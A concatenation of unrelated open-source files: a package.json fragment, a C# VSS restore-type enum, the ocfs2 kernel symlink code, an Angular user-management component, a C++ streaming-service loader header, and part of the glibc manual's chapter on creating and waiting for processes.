"opn": "^4.0.2",
"ora": "^0.3.0",
"phantomjs-prebuilt": "^2.1.3",
"semver": "^5.3.0",
"shelljs": "^0.7.4",
"sinon": "^1.17.3",
"sinon-chai": "^2.8.0",
"url-loader": "^0.5.7",
"vue-loader": "^10.0.0",
"vue-style-loader": "^1.0.0",
"vue-template-compiler": "^2.1.0",
"webpack": "^1.13.2",
"webpack-dev-middleware": "^1.8.3",
"webpack-hot-middleware": "^2.12.2",
"webpack-merge": "^0.14.1"
},
"engines": {
"node": ">= 4.0.0",
"npm": ">= 3.0.0"
}
}
| {
"pile_set_name": "Github"
} |
namespace Alphaleonis.Win32.Vss
{
/// <summary>The <see cref="VssRestoreType"/> enumeration is used by a requester to indicate the type of restore operation it is about to perform.</summary>
/// <remarks>
/// <para>A requester sets the type of a restore operation using <see cref="IVssBackupComponents.SetRestoreState"/>.</para>
/// <!-- <para>A writer can retrieve the type of a restore operation by calling CVssWriter::GetRestoreType.</para> -->
/// </remarks>
public enum VssRestoreType
{
/// <summary>
/// <para>No restore type is defined.</para>
/// <para>This indicates an error on the part of the requester.</para>
/// </summary>
Undefined = 0,
/// <summary>The default restore type: A requester restores backed-up data to the original volume from a backup medium.</summary>
ByCopy = 1,
/// <summary>
/// <para>
/// A requester does not copy data from a backup medium, but imports a transportable shadow copy
/// and uses this imported volume for operations such as data mining.
/// </para>
/// <para>
/// <b>Windows Server 2003, Standard Edition and Windows Server 2003, Web Edition:</b> This value is not supported. All editions of Windows Server 2003 SP1 support this value.
/// </para>
/// </summary>
Import = 2,
/// <summary>A restore type not currently enumerated. This value indicates an application error.</summary>
Other = 3
};
}
| {
"pile_set_name": "Github"
} |
/* -*- mode: c; c-basic-offset: 8; -*-
* vim: noexpandtab sw=8 ts=8 sts=0:
*
* linux/cluster/ssi/cfs/symlink.c
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE
* or NON INFRINGEMENT. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* Questions/Comments/Bugfixes to ssic-linux-devel@lists.sourceforge.net
*
* Copyright (C) 1992 Rick Sladkey
*
* Optimization changes Copyright (C) 1994 Florian La Roche
*
* Jun 7 1999, cache symlink lookups in the page cache. -DaveM
*
* Portions Copyright (C) 2001 Compaq Computer Corporation
*
* ocfs2 symlink handling code.
*
* Copyright (C) 2004, 2005 Oracle.
*
*/
#include <linux/fs.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/pagemap.h>
#include <linux/namei.h>
#include <cluster/masklog.h>
#include "ocfs2.h"
#include "alloc.h"
#include "file.h"
#include "inode.h"
#include "journal.h"
#include "symlink.h"
#include "xattr.h"
#include "buffer_head_io.h"
static char *ocfs2_fast_symlink_getlink(struct inode *inode,
struct buffer_head **bh)
{
int status;
char *link = NULL;
struct ocfs2_dinode *fe;
status = ocfs2_read_inode_block(inode, bh);
if (status < 0) {
mlog_errno(status);
link = ERR_PTR(status);
goto bail;
}
fe = (struct ocfs2_dinode *) (*bh)->b_data;
link = (char *) fe->id2.i_symlink;
bail:
return link;
}
static int ocfs2_readlink(struct dentry *dentry,
char __user *buffer,
int buflen)
{
int ret;
char *link;
struct buffer_head *bh = NULL;
struct inode *inode = dentry->d_inode;
link = ocfs2_fast_symlink_getlink(inode, &bh);
if (IS_ERR(link)) {
ret = PTR_ERR(link);
goto out;
}
/*
* Without vfsmount we can't update atime now,
* but we will update atime here ultimately.
*/
ret = vfs_readlink(dentry, buffer, buflen, link);
brelse(bh);
out:
if (ret < 0)
mlog_errno(ret);
return ret;
}
static void *ocfs2_fast_follow_link(struct dentry *dentry,
struct nameidata *nd)
{
int status = 0;
int len;
char *target, *link = ERR_PTR(-ENOMEM);
struct inode *inode = dentry->d_inode;
struct buffer_head *bh = NULL;
BUG_ON(!ocfs2_inode_is_fast_symlink(inode));
target = ocfs2_fast_symlink_getlink(inode, &bh);
if (IS_ERR(target)) {
status = PTR_ERR(target);
mlog_errno(status);
goto bail;
}
/* Fast symlinks can't be large */
len = strnlen(target, ocfs2_fast_symlink_chars(inode->i_sb));
link = kzalloc(len + 1, GFP_NOFS);
if (!link) {
status = -ENOMEM;
mlog_errno(status);
goto bail;
}
memcpy(link, target, len);
bail:
nd_set_link(nd, status ? ERR_PTR(status) : link);
brelse(bh);
if (status)
mlog_errno(status);
return NULL;
}
static void ocfs2_fast_put_link(struct dentry *dentry, struct nameidata *nd, void *cookie)
{
char *link = nd_get_link(nd);
if (!IS_ERR(link))
kfree(link);
}
const struct inode_operations ocfs2_symlink_inode_operations = {
.readlink = page_readlink,
.follow_link = page_follow_link_light,
.put_link = page_put_link,
.getattr = ocfs2_getattr,
.setattr = ocfs2_setattr,
.setxattr = generic_setxattr,
.getxattr = generic_getxattr,
.listxattr = ocfs2_listxattr,
.removexattr = generic_removexattr,
.fiemap = ocfs2_fiemap,
};
const struct inode_operations ocfs2_fast_symlink_inode_operations = {
.readlink = ocfs2_readlink,
.follow_link = ocfs2_fast_follow_link,
.put_link = ocfs2_fast_put_link,
.getattr = ocfs2_getattr,
.setattr = ocfs2_setattr,
.setxattr = generic_setxattr,
.getxattr = generic_getxattr,
.listxattr = ocfs2_listxattr,
.removexattr = generic_removexattr,
.fiemap = ocfs2_fiemap,
};
| {
"pile_set_name": "Github"
} |
import { Component, EventEmitter, OnInit, OnDestroy } from '@angular/core';
import { Store } from '@ngrx/store';
import { Subject, combineLatest } from 'rxjs';
import { takeUntil, filter } from 'rxjs/operators';
import { LayoutFacadeService, Sidebar } from 'app/entities/layout/layout.facade';
import { ChefSorters } from 'app/helpers/auth/sorter';
import { NgrxStateAtom } from 'app/ngrx.reducers';
import { EntityStatus } from 'app/entities/entities';
import { allUsers, getStatus } from 'app/entities/users/user.selectors';
import { DeleteUser, GetUsers } from 'app/entities/users/user.actions';
import { User } from 'app/entities/users/user.model';
@Component({
selector: 'app-user-management',
templateUrl: './user-management.component.html',
styleUrls: ['./user-management.component.scss']
})
export class UserManagementComponent implements OnInit, OnDestroy {
public deleteModalVisible = false;
public isLoading = true;
public userToDelete: User;
public openUserModal = new EventEmitter<boolean>();
private isDestroyed = new Subject<boolean>();
// Inputs to app-user-table
public users: User[] = [];
public addButtonText = 'Create User';
public removeText = 'Delete User';
public baseUrl = '/apis/iam/v2/users';
constructor(
private store: Store<NgrxStateAtom>,
private layoutFacade: LayoutFacadeService
) {
}
ngOnInit() {
this.layoutFacade.showSidebar(Sidebar.Settings);
this.store.dispatch(new GetUsers());
this.layoutFacade.ShowPageLoading(true);
combineLatest([
this.store.select(allUsers),
this.store.select(getStatus)
]).pipe(
filter(([_, uStatus]) => uStatus !== EntityStatus.loading),
takeUntil(this.isDestroyed)
).subscribe(([users, _]: [User[], EntityStatus]) => {
this.isLoading = false;
this.layoutFacade.ShowPageLoading(false);
// Sort naturally first by name, then by id
this.users = ChefSorters.naturalSort(users, ['name', 'id']);
});
}
ngOnDestroy() {
this.isDestroyed.next(true);
this.isDestroyed.complete();
}
public openCreateModal(): void {
this.openUserModal.emit(true);
}
public closeDeleteModal(): void {
this.deleteModalVisible = false;
}
public startUserDelete(user: User): void {
this.userToDelete = user;
this.deleteModalVisible = true;
}
public deleteUser(): void {
this.closeDeleteModal();
this.store.dispatch(new DeleteUser(this.userToDelete));
}
public showEmptyStateMessage(): boolean {
return !this.isLoading && this.users.length === 0;
}
public showUsersTable(): boolean {
return !this.isLoading && this.users.length > 0;
}
}
| {
"pile_set_name": "Github"
} |
#pragma once
#include <MellowPlayer/Domain/StreamingServices/IStreamingServiceLoader.hpp>
#include <MellowPlayer/Infrastructure/PlatformFilters/PlatformFilters.hpp>
namespace MellowPlayer::Domain
{
class ILogger;
class StreamingService;
struct StreamingServiceMetadata;
struct Theme;
class SettingsCategory;
class Settings;
}
namespace MellowPlayer::Infrastructure
{
class StreamingServiceLoader : public Domain::IStreamingServiceLoader
{
public:
StreamingServiceLoader(Domain::Settings& settings);
QList<std::shared_ptr<Domain::StreamingService>> load() const override;
static QString userDirectory();
static Domain::Theme readTheme(const QString& filePath);
static QString readFileContent(const QString& filePath);
std::shared_ptr<Domain::SettingsCategory> readSettings(const QString& name, const QString& filePath) const;
private:
std::unique_ptr<Domain::StreamingService> loadService(const QString& directory) const;
QString findFile(const QString& directory, const QString& suffix) const;
Domain::StreamingServiceMetadata readMetadata(const QString& filePath) const;
bool checkServiceDirectory(const QString& directory) const;
QStringList searchPaths() const;
bool containsService(const QList<std::shared_ptr<Domain::StreamingService>>& services,
std::shared_ptr<Domain::StreamingService>& toCheck) const;
Domain::ILogger& logger_;
Domain::Settings& _settings;
PlatformFilters platformFilters_;
};
}
| {
"pile_set_name": "Github"
} |
@node Processes, Inter-Process Communication, Program Basics, Top
@c %MENU% How to create processes and run other programs
@chapter Processes
@cindex process
@dfn{Processes} are the primitive units for allocation of system
resources. Each process has its own address space and (usually) one
thread of control. A process executes a program; you can have multiple
processes executing the same program, but each process has its own copy
of the program within its own address space and executes it
independently of the other copies.
@cindex child process
@cindex parent process
Processes are organized hierarchically. Each process has a @dfn{parent
process} which explicitly arranged to create it. The processes created
by a given parent are called its @dfn{child processes}. A child
inherits many of its attributes from the parent process.
This chapter describes how a program can create, terminate, and control
child processes. Actually, there are three distinct operations
involved: creating a new child process, causing the new process to
execute a program, and coordinating the completion of the child process
with the original program.
The @code{system} function provides a simple, portable mechanism for
running another program; it does all three steps automatically. If you
need more control over the details of how this is done, you can use the
primitive functions to do each step individually instead.
@menu
* Running a Command:: The easy way to run another program.
* Process Creation Concepts:: An overview of the hard way to do it.
* Process Identification:: How to get the process ID of a process.
* Creating a Process:: How to fork a child process.
* Executing a File:: How to make a process execute another program.
* Process Completion:: How to tell when a child process has completed.
* Process Completion Status:: How to interpret the status value
returned from a child process.
* BSD Wait Functions:: More functions, for backward compatibility.
* Process Creation Example:: A complete example program.
@end menu
@node Running a Command
@section Running a Command
@cindex running a command
The easy way to run another program is to use the @code{system}
function. This function does all the work of running a subprogram, but
it doesn't give you much control over the details: you have to wait
until the subprogram terminates before you can do anything else.
@deftypefun int system (const char *@var{command})
@standards{ISO, stdlib.h}
@pindex sh
@safety{@prelim{}@mtsafe{}@asunsafe{@ascuplugin{} @ascuheap{} @asulock{}}@acunsafe{@aculock{} @acsmem{}}}
@c system @ascuplugin @ascuheap @asulock @aculock @acsmem
@c do_system @ascuplugin @ascuheap @asulock @aculock @acsmem
@c sigemptyset dup ok
@c libc_lock_lock @asulock @aculock
@c ADD_REF ok
@c sigaction dup ok
@c SUB_REF ok
@c libc_lock_unlock @aculock
@c sigaddset dup ok
@c sigprocmask dup ok
@c CLEANUP_HANDLER @ascuplugin @ascuheap @acsmem
@c libc_cleanup_region_start @ascuplugin @ascuheap @acsmem
@c pthread_cleanup_push_defer @ascuplugin @ascuheap @acsmem
@c CANCELLATION_P @ascuplugin @ascuheap @acsmem
@c CANCEL_ENABLED_AND_CANCELED ok
@c do_cancel @ascuplugin @ascuheap @acsmem
@c cancel_handler ok
@c kill syscall ok
@c waitpid dup ok
@c libc_lock_lock ok
@c sigaction dup ok
@c libc_lock_unlock ok
@c FORK ok
@c clone syscall ok
@c waitpid dup ok
@c CLEANUP_RESET ok
@c libc_cleanup_region_end ok
@c pthread_cleanup_pop_restore ok
@c SINGLE_THREAD_P ok
@c LIBC_CANCEL_ASYNC @ascuplugin @ascuheap @acsmem
@c libc_enable_asynccancel @ascuplugin @ascuheap @acsmem
@c CANCEL_ENABLED_AND_CANCELED_AND_ASYNCHRONOUS dup ok
@c do_cancel dup @ascuplugin @ascuheap @acsmem
@c LIBC_CANCEL_RESET ok
@c libc_disable_asynccancel ok
@c lll_futex_wait dup ok
This function executes @var{command} as a shell command. In @theglibc{},
it always uses the default shell @code{sh} to run the command.
In particular, it searches the directories in @code{PATH} to find
programs to execute. The return value is @code{-1} if it wasn't
possible to create the shell process, and otherwise is the status of the
shell process. @xref{Process Completion}, for details on how this
status code can be interpreted.
If the @var{command} argument is a null pointer, a return value of zero
indicates that no command processor is available.
This function is a cancellation point in multi-threaded programs. This
is a problem if the thread allocates some resources (like memory, file
descriptors, semaphores or whatever) at the time @code{system} is
called. If the thread gets canceled these resources stay allocated
until the program ends. To avoid this calls to @code{system} should be
protected using cancellation handlers.
@c ref pthread_cleanup_push / pthread_cleanup_pop
@pindex stdlib.h
The @code{system} function is declared in the header file
@file{stdlib.h}.
@end deftypefun
@strong{Portability Note:} Some C implementations may not have any
notion of a command processor that can execute other programs. You can
determine whether a command processor exists by executing
@w{@code{system (NULL)}}; if the return value is nonzero, a command
processor is available.
The @code{popen} and @code{pclose} functions (@pxref{Pipe to a
Subprocess}) are closely related to the @code{system} function. They
allow the parent process to communicate with the standard input and
output channels of the command being executed.
@node Process Creation Concepts
@section Process Creation Concepts
This section gives an overview of processes and of the steps involved in
creating a process and making it run another program.
@cindex process ID
@cindex process lifetime
Each process is named by a @dfn{process ID} number. A unique process ID
is allocated to each process when it is created. The @dfn{lifetime} of
a process ends when its termination is reported to its parent process;
at that time, all of the process resources, including its process ID,
are freed.
@cindex creating a process
@cindex forking a process
@cindex child process
@cindex parent process
Processes are created with the @code{fork} system call (so the operation
of creating a new process is sometimes called @dfn{forking} a process).
The @dfn{child process} created by @code{fork} is a copy of the original
@dfn{parent process}, except that it has its own process ID.
After forking a child process, both the parent and child processes
continue to execute normally. If you want your program to wait for a
child process to finish executing before continuing, you must do this
explicitly after the fork operation, by calling @code{wait} or
@code{waitpid} (@pxref{Process Completion}). These functions give you
limited information about why the child terminated---for example, its
exit status code.
A newly forked child process continues to execute the same program as
its parent process, at the point where the @code{fork} call returns.
You can use the return value from @code{fork} to tell whether the program
is running in the parent process or the child.
@cindex process image
Having several processes run the same program is only occasionally
useful. But the child can execute another program using one of the
@code{exec} functions; see @ref{Executing a File}. The program that the
process is executing is called its @dfn{process image}. Starting
execution of a new program causes the process to forget all about its
previous process image; when the new program exits, the process exits
too, instead of returning to the previous process image.
@node Process Identification
@section Process Identification
The @code{pid_t} data type represents process IDs. You can get the
process ID of a process by calling @code{getpid}. The function
@code{getppid} returns the process ID of the parent of the current
process (this is also known as the @dfn{parent process ID}). Your
program should include the header files @file{unistd.h} and
@file{sys/types.h} to use these functions.
@pindex sys/types.h
@pindex unistd.h
@deftp {Data Type} pid_t
@standards{POSIX.1, sys/types.h}
The @code{pid_t} data type is a signed integer type which is capable
of representing a process ID. In @theglibc{}, this is an @code{int}.
@end deftp
@deftypefun pid_t getpid (void)
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
The @code{getpid} function returns the process ID of the current process.
@end deftypefun
@deftypefun pid_t getppid (void)
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
The @code{getppid} function returns the process ID of the parent of the
current process.
@end deftypefun
@node Creating a Process
@section Creating a Process
The @code{fork} function is the primitive for creating a process.
It is declared in the header file @file{unistd.h}.
@pindex unistd.h
@deftypefun pid_t fork (void)
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@asunsafe{@ascuplugin{}}@acunsafe{@aculock{}}}
@c The nptl/.../linux implementation safely collects fork_handlers into
@c an alloca()ed linked list and increments ref counters; it uses atomic
@c ops and retries, avoiding locking altogether. It then takes the
@c IO_list lock, resets the thread-local pid, and runs fork. The parent
@c restores the thread-local pid, releases the lock, and runs parent
@c handlers, decrementing the ref count and signaling futex wait if
@c requested by unregister_atfork. The child bumps the fork generation,
@c sets the thread-local pid, resets cpu clocks, initializes the robust
@c mutex list, the stream locks, the IO_list lock, the dynamic loader
@c lock, runs the child handlers, reseting ref counters to 1, and
@c initializes the fork lock. These are all safe, unless atfork
@c handlers themselves are unsafe.
The @code{fork} function creates a new process.
If the operation is successful, there are then both parent and child
processes and both see @code{fork} return, but with different values: it
returns a value of @code{0} in the child process and returns the child's
process ID in the parent process.
If process creation failed, @code{fork} returns a value of @code{-1} in
the parent process. The following @code{errno} error conditions are
defined for @code{fork}:
@table @code
@item EAGAIN
There aren't enough system resources to create another process, or the
user already has too many processes running. This means exceeding the
@code{RLIMIT_NPROC} resource limit, which can usually be increased;
@pxref{Limits on Resources}.
@item ENOMEM
The process requires more space than the system can supply.
@end table
@end deftypefun
The specific attributes of the child process that differ from the
parent process are:
@itemize @bullet
@item
The child process has its own unique process ID.
@item
The parent process ID of the child process is the process ID of its
parent process.
@item
The child process gets its own copies of the parent process's open file
descriptors. Subsequently changing attributes of the file descriptors
in the parent process won't affect the file descriptors in the child,
and vice versa. @xref{Control Operations}. However, the file position
associated with each descriptor is shared by both processes;
@pxref{File Position}.
@item
The elapsed processor times for the child process are set to zero;
see @ref{Processor Time}.
@item
The child doesn't inherit file locks set by the parent process.
@c !!! flock locks shared
@xref{Control Operations}.
@item
The child doesn't inherit alarms set by the parent process.
@xref{Setting an Alarm}.
@item
The set of pending signals (@pxref{Delivery of Signal}) for the child
process is cleared. (The child process inherits its mask of blocked
signals and signal actions from the parent process.)
@end itemize
@deftypefun pid_t vfork (void)
@standards{BSD, unistd.h}
@safety{@prelim{}@mtsafe{}@asunsafe{@ascuplugin{}}@acunsafe{@aculock{}}}
@c The vfork implementation proper is a safe syscall, but it may fall
@c back to fork if the vfork syscall is not available.
The @code{vfork} function is similar to @code{fork} but on some systems
it is more efficient; however, there are restrictions you must follow to
use it safely.
While @code{fork} makes a complete copy of the calling process's address
space and allows both the parent and child to execute independently,
@code{vfork} does not make this copy. Instead, the child process
created with @code{vfork} shares its parent's address space until it
calls @code{_exit} or one of the @code{exec} functions. In the
meantime, the parent process suspends execution.
You must be very careful not to allow the child process created with
@code{vfork} to modify any global data or even local variables shared
with the parent. Furthermore, the child process cannot return from (or
do a long jump out of) the function that called @code{vfork}! This
would leave the parent process's control information very confused. If
in doubt, use @code{fork} instead.
Some operating systems don't really implement @code{vfork}. @Theglibc{}
permits you to use @code{vfork} on all systems, but actually
executes @code{fork} if @code{vfork} isn't available. If you follow
the proper precautions for using @code{vfork}, your program will still
work even if the system uses @code{fork} instead.
@end deftypefun
@node Executing a File
@section Executing a File
@cindex executing a file
@cindex @code{exec} functions
This section describes the @code{exec} family of functions, for executing
a file as a process image. You can use these functions to make a child
process execute a new program after it has been forked.
To see the effects of @code{exec} from the point of view of the called
program, see @ref{Program Basics}.
@pindex unistd.h
The functions in this family differ in how you specify the arguments,
but otherwise they all do the same thing. They are declared in the
header file @file{unistd.h}.
@deftypefun int execv (const char *@var{filename}, char *const @var{argv}@t{[]})
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
The @code{execv} function executes the file named by @var{filename} as a
new process image.
The @var{argv} argument is an array of null-terminated strings that is
used to provide a value for the @code{argv} argument to the @code{main}
function of the program to be executed. The last element of this array
must be a null pointer. By convention, the first element of this array
is the file name of the program sans directory names. @xref{Program
Arguments}, for full details on how programs can access these arguments.
The environment for the new process image is taken from the
@code{environ} variable of the current process image; see
@ref{Environment Variables}, for information about environments.
@end deftypefun
@deftypefun int execl (const char *@var{filename}, const char *@var{arg0}, @dots{})
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@asunsafe{@ascuheap{}}@acunsafe{@acsmem{}}}
This is similar to @code{execv}, but the @var{argv} strings are
specified individually instead of as an array. A null pointer must be
passed as the last such argument.
@end deftypefun
@deftypefun int execve (const char *@var{filename}, char *const @var{argv}@t{[]}, char *const @var{env}@t{[]})
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
This is similar to @code{execv}, but permits you to specify the environment
for the new program explicitly as the @var{env} argument. This should
be an array of strings in the same format as for the @code{environ}
variable; see @ref{Environment Access}.
@end deftypefun
@deftypefun int execle (const char *@var{filename}, const char *@var{arg0}, @dots{}, char *const @var{env}@t{[]})
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{}@asunsafe{@ascuheap{}}@acunsafe{@acsmem{}}}
This is similar to @code{execl}, but permits you to specify the
environment for the new program explicitly. The environment argument is
passed following the null pointer that marks the last @var{argv}
argument, and should be an array of strings in the same format as for
the @code{environ} variable.
@end deftypefun
@deftypefun int execvp (const char *@var{filename}, char *const @var{argv}@t{[]})
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{@mtsenv{}}@asunsafe{@ascuheap{}}@acunsafe{@acsmem{}}}
The @code{execvp} function is similar to @code{execv}, except that it
searches the directories listed in the @code{PATH} environment variable
(@pxref{Standard Environment}) to find the full file name of a
file from @var{filename} if @var{filename} does not contain a slash.
This function is useful for executing system utility programs, because
it looks for them in the places that the user has chosen. Shells use it
to run the commands that users type.
@end deftypefun
@deftypefun int execlp (const char *@var{filename}, const char *@var{arg0}, @dots{})
@standards{POSIX.1, unistd.h}
@safety{@prelim{}@mtsafe{@mtsenv{}}@asunsafe{@ascuheap{}}@acunsafe{@acsmem{}}}
This function is like @code{execl}, except that it performs the same
file name searching as the @code{execvp} function.
@end deftypefun
The size of the argument list and environment list taken together must
not be greater than @code{ARG_MAX} bytes. @xref{General Limits}. On
@gnuhurdsystems{}, the size (which compares against @code{ARG_MAX})
includes, for each string, the number of characters in the string, plus
the size of a @code{char *}, plus one, rounded up to a multiple of the
size of a @code{char *}. Other systems may have somewhat different
rules for counting.
These functions normally don't return, since execution of a new program
causes the currently executing program to go away completely. A value
of @code{-1} is returned in the event of a failure. In addition to the
usual file name errors (@pxref{File Name Errors}), the following
@code{errno} error conditions are defined for these functions:
@table @code
@item E2BIG
The combined size of the new program's argument list and environment
list is larger than @code{ARG_MAX} bytes. @gnuhurdsystems{} have no
specific limit on the argument list size, so this error code cannot
result, but you may get @code{ENOMEM} instead if the arguments are too
big for available memory.
@item ENOEXEC
The specified file can't be executed because it isn't in the right format.
@item ENOMEM
Executing the specified file requires more storage than is available.
@end table
If execution of the new file succeeds, it updates the access time field
of the file as if the file had been read. @xref{File Times}, for more
details about access times of files.
The point at which the file is closed again is not specified, but
is at some point before the process exits or before another process
image is executed.
Executing a new process image completely changes the contents of memory,
copying only the argument and environment strings to new locations. But
many other attributes of the process are unchanged:
@itemize @bullet
@item
The process ID and the parent process ID. @xref{Process Creation Concepts}.
@item
Session and process group membership. @xref{Concepts of Job Control}.
@item
Real user ID and group ID, and supplementary group IDs. @xref{Process
Persona}.
@item
Pending alarms. @xref{Setting an Alarm}.
@item
Current working directory and root directory. @xref{Working
Directory}. On @gnuhurdsystems{}, the root directory is not copied when
executing a setuid program; instead the system default root directory
is used for the new program.
@item
File mode creation mask. @xref{Setting Permissions}.
@item
Process signal mask; see @ref{Process Signal Mask}.
@item
Pending signals; see @ref{Blocking Signals}.
@item
Elapsed processor time associated with the process; see @ref{Processor Time}.
@end itemize
If the set-user-ID and set-group-ID mode bits of the process image file
are set, this affects the effective user ID and effective group ID
(respectively) of the process. These concepts are discussed in detail
in @ref{Process Persona}.
Signals that are set to be ignored in the existing process image are
also set to be ignored in the new process image. All other signals are
set to the default action in the new process image. For more
information about signals, see @ref{Signal Handling}.
File descriptors open in the existing process image remain open in the
new process image, unless they have the @code{FD_CLOEXEC}
(close-on-exec) flag set. The files that remain open inherit all
attributes of the open file descriptors from the existing process image,
including file locks. File descriptors are discussed in @ref{Low-Level I/O}.
Streams, by contrast, cannot survive through @code{exec} functions,
because they are located in the memory of the process itself. The new
process image has no streams except those it creates afresh. Each of
the streams in the pre-@code{exec} process image has a descriptor inside
it, and these descriptors do survive through @code{exec} (provided that
they do not have @code{FD_CLOEXEC} set). The new process image can
reconnect these to new streams using @code{fdopen} (@pxref{Descriptors
and Streams}).
@node Process Completion
@section Process Completion
@cindex process completion
@cindex waiting for completion of child process
@cindex testing exit status of child process
The functions described in this section are used to wait for a child
process to terminate or stop, and determine its status. These functions
are declared in the header file @file{sys/wait.h}.
@pindex sys/wait.h
@deftypefun pid_t waitpid (pid_t @var{pid}, int *@var{status-ptr}, int @var{options})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
The @code{waitpid} function is used to request status information from a
child process whose process ID is @var{pid}. Normally, the calling
process is suspended until the child process makes status information
available by terminating.
Other values for the @var{pid} argument have special interpretations. A
value of @code{-1} or @code{WAIT_ANY} requests status information for
any child process; a value of @code{0} or @code{WAIT_MYPGRP} requests
information for any child process in the same process group as the
calling process; and any other negative value @minus{} @var{pgid}
requests information for any child process whose process group ID is
@var{pgid}.
If status information for a child process is available immediately, this
function returns immediately without waiting. If more than one eligible
child process has status information available, one of them is chosen
randomly, and its status is returned immediately. To get the status
from the other eligible child processes, you need to call @code{waitpid}
again.
The @var{options} argument is a bit mask. Its value should be the
bitwise OR (that is, the @samp{|} operator) of zero or more of the
@code{WNOHANG} and @code{WUNTRACED} flags. You can use the
@code{WNOHANG} flag to indicate that the parent process shouldn't wait;
and the @code{WUNTRACED} flag to request status information from stopped
processes as well as processes that have terminated.
The status information from the child process is stored in the object
that @var{status-ptr} points to, unless @var{status-ptr} is a null pointer.
This function is a cancellation point in multi-threaded programs. This
is a problem if the thread allocates some resources (like memory, file
descriptors, semaphores or whatever) at the time @code{waitpid} is
called. If the thread gets canceled these resources stay allocated
until the program ends. To avoid this calls to @code{waitpid} should be
protected using cancellation handlers.
@c ref pthread_cleanup_push / pthread_cleanup_pop
The return value is normally the process ID of the child process whose
status is reported. If there are child processes but none of them is
waiting to be noticed, @code{waitpid} will block until one is. However,
if the @code{WNOHANG} option was specified, @code{waitpid} will return
zero instead of blocking.
If a specific PID to wait for was given to @code{waitpid}, it will
ignore all other children (if any). Therefore if there are children
waiting to be noticed but the child whose PID was specified is not one
of them, @code{waitpid} will block or return zero as described above.
A value of @code{-1} is returned in case of error. The following
@code{errno} error conditions are defined for this function:
@table @code
@item EINTR
The function was interrupted by delivery of a signal to the calling
process. @xref{Interrupted Primitives}.
@item ECHILD
There are no child processes to wait for, or the specified @var{pid}
is not a child of the calling process.
@item EINVAL
An invalid value was provided for the @var{options} argument.
@end table
@end deftypefun
These symbolic constants are defined as values for the @var{pid} argument
to the @code{waitpid} function.
@comment Extra blank lines make it look better.
@vtable @code
@item WAIT_ANY
This constant macro (whose value is @code{-1}) specifies that
@code{waitpid} should return status information about any child process.
@item WAIT_MYPGRP
This constant (with value @code{0}) specifies that @code{waitpid} should
return status information about any child process in the same process
group as the calling process.
@end vtable
These symbolic constants are defined as flags for the @var{options}
argument to the @code{waitpid} function. You can bitwise-OR the flags
together to obtain a value to use as the argument.
@vtable @code
@item WNOHANG
This flag specifies that @code{waitpid} should return immediately
instead of waiting, if there is no child process ready to be noticed.
@item WUNTRACED
This flag specifies that @code{waitpid} should report the status of any
child processes that have been stopped as well as those that have
terminated.
@end vtable
@deftypefun pid_t wait (int *@var{status-ptr})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
This is a simplified version of @code{waitpid}, and is used to wait
until any one child process terminates. The call:
@smallexample
wait (&status)
@end smallexample
@noindent
is exactly equivalent to:
@smallexample
waitpid (-1, &status, 0)
@end smallexample
This function is a cancellation point in multi-threaded programs. This
is a problem if the thread allocates some resources (like memory, file
descriptors, semaphores or whatever) at the time @code{wait} is
called. If the thread gets canceled these resources stay allocated
until the program ends. To avoid this calls to @code{wait} should be
protected using cancellation handlers.
@c ref pthread_cleanup_push / pthread_cleanup_pop
@end deftypefun
@deftypefun pid_t wait4 (pid_t @var{pid}, int *@var{status-ptr}, int @var{options}, struct rusage *@var{usage})
@standards{BSD, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
If @var{usage} is a null pointer, @code{wait4} is equivalent to
@code{waitpid (@var{pid}, @var{status-ptr}, @var{options})}.
If @var{usage} is not null, @code{wait4} stores usage figures for the
child process in @code{*@var{rusage}} (but only if the child has
terminated, not if it has stopped). @xref{Resource Usage}.
This function is a BSD extension.
@end deftypefun
Here's an example of how to use @code{waitpid} to get the status from
all child processes that have terminated, without ever waiting. This
function is designed to be a handler for @code{SIGCHLD}, the signal that
indicates that at least one child process has terminated.
@smallexample
@group
void
sigchld_handler (int signum)
@{
int pid, status, serrno;
serrno = errno;
while (1)
@{
pid = waitpid (WAIT_ANY, &status, WNOHANG);
if (pid < 0)
@{
perror ("waitpid");
break;
@}
if (pid == 0)
break;
notice_termination (pid, status);
@}
errno = serrno;
@}
@end group
@end smallexample
@node Process Completion Status
@section Process Completion Status
If the exit status value (@pxref{Program Termination}) of the child
process is zero, then the status value reported by @code{waitpid} or
@code{wait} is also zero. You can test for other kinds of information
encoded in the returned status value using the following macros.
These macros are defined in the header file @file{sys/wait.h}.
@pindex sys/wait.h
@deftypefn Macro int WIFEXITED (int @var{status})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
This macro returns a nonzero value if the child process terminated
normally with @code{exit} or @code{_exit}.
@end deftypefn
@deftypefn Macro int WEXITSTATUS (int @var{status})
@standards{POSIX.1, sys/wait.h}
@safety{@prelim{}@mtsafe{}@assafe{}@acsafe{}}
If @code{WIFEXITED} is true of @var{status}, this macro returns the
low-order 8 bits of the exit status value from the child process.
@xref{Exit Status}.
@end deftypefn
@deftypefn Macro int WIFSIGNALED (int @var{status})
@standards{POSIX.1, sys/wait.h}
